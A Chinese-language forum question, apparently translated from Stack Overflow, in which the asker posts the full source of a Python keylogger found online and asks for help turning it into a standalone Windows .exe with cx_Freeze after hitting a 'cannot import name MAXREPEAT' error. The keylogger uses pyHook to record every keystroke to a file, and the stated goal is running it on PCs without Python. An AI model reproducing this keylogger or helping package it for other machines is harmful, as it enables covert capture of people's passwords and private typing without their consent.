我正在尝试创建一个我在互联网上找到的python键盘记录程序的.exe版本,因此它可以在没有安装python的Windows PC上运行。 该程序的代码如下:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
使用cx_Freeze的build函数创建.exe文件后,运行该文件时,单独的错误框中会出现以下错误:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
我根本不了解cx_Freeze,并且非常感谢任何帮助,因为即使我尝试使用诸如hello_world.py程序之类的简单程序,.exe文件也没有。似乎工作。